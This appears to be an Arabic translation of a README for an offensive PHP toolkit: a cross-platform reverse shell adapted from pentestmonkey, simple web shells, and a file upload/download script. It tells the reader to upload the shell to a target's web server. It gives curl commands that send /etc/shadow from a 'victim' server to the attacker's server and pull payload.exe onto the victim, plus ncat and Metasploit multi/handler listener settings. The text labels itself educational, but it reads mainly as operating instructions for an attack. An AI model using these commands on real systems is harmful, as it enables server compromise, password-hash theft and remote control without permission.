
صدفات PHP تعمل على أنظمة تشغيل Linux وmacOS وWindows.
مجرد تحديث بسيط لسكربت الشيل العكسي الشهير بلغة PHP pentestmonkey/php-reverse-shell. كل الفضل للمؤلف الأصلي!
يعمل على نظامي Linux و macOS مع /bin/sh وعلى نظام Windows مع cmd.exe. سيكتشف السكربت نظام التشغيل الأساسي تلقائيًا.
يعمل مع كل من ncat و multi/handler.
تم اختباره على:
لا تدعم أنابيب العمليات على نظام Windows العمليات غير المتزامنة، لذا لن تعمل stream_set_blocking() و stream_select() و feof() بشكل صحيح، لكنني وجدت حلًا بديلًا.
أُنجز لأغراض تعليمية. آمل أن يكون مفيدًا!
/src/reverse/php_reverse_shell.php يتطلب PHP v5.0.0 أو أحدث.
/src/reverse/php_reverse_shell_older.php يتطلب PHP v4.3.0 أو أحدث.
غيّر عنوان IP ورقم المنفذ داخل السكربتات حسب الحاجة.
انسخ /src/reverse/php_reverse_shell.php إلى دليل جذر الويب على خادمك (مثل /opt/lampp/htdocs/ في XAMPP) أو ارفعه إلى خادم الويب الخاص بالهدف.
انتقل إلى الملف باستخدام متصفح الويب المفضل لديك.
تحقّق من شيل الويب PHP البسيط القائم على طلب HTTP POST.
تحقّق من شيل الويب PHP البسيط القائم على طلب HTTP GET. يجب عليك ترميز URL لأوامرك.
تحقّق من شيل الويب PHP البسيط v2 القائم على طلب HTTP GET. يجب عليك ترميز URL لأوامرك.
تحقّق من سكربت PHP البسيط لرفع/تنزيل الملفات القائم على طلب HTTP POST لرفع الملفات وطلب HTTP GET لتنزيلها.
عند تنزيل ملف، يجب عليك ترميز URL لمسار الملف.
اعتمادًا على إعدادات الخادم، قد لا يعمل تنزيل ملف عبر معامل طلب HTTP GET دائمًا؛ بدلًا من ذلك، سيتعين عليك تضمين مسار الملف يدويًا في السكربت.
انتقل إلى السكربت على خادم الويب الخاص بالضحية باستخدام متصفح الويب المفضل لديك، أو استخدم cURL من جهازك.
ارفع ملفًا إلى دليل جذر الويب على الخادم من جهازك:
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
نزّل ملفًا من الخادم إلى جهازك:
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
إذا رفعت صلاحياتك الأولية داخل الشيل العكسي، فقد لا يمتلك هذا السكربت نفس صلاحيات الشيل. في هذه الحالة، لتنزيل ملف معين، قد تحتاج إلى نسخ الملف إلى دليل جذر الويب وتعيين أذونات القراءة اللازمة.
من الشيل العكسي PHP الخاص بك، نفّذ أوامر cURL التالية.
ارفع ملفًا من جهاز الضحية إلى دليل جذر الويب على خادمك:
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
نزّل ملفًا من دليل جذر الويب على خادمك إلى جهاز الضحية:
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
لإعداد مستمع، افتح وحدة التحكم المفضلة لديك على Kali Linux ونفّذ أحد الأمثلة أدناه.
إعداد مستمع ncat:
ncat -nvlp 9000
إعداد مستمع multi/handler:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

الشكل 1 - Ncat

الشكل 2 - تفريغ السكربت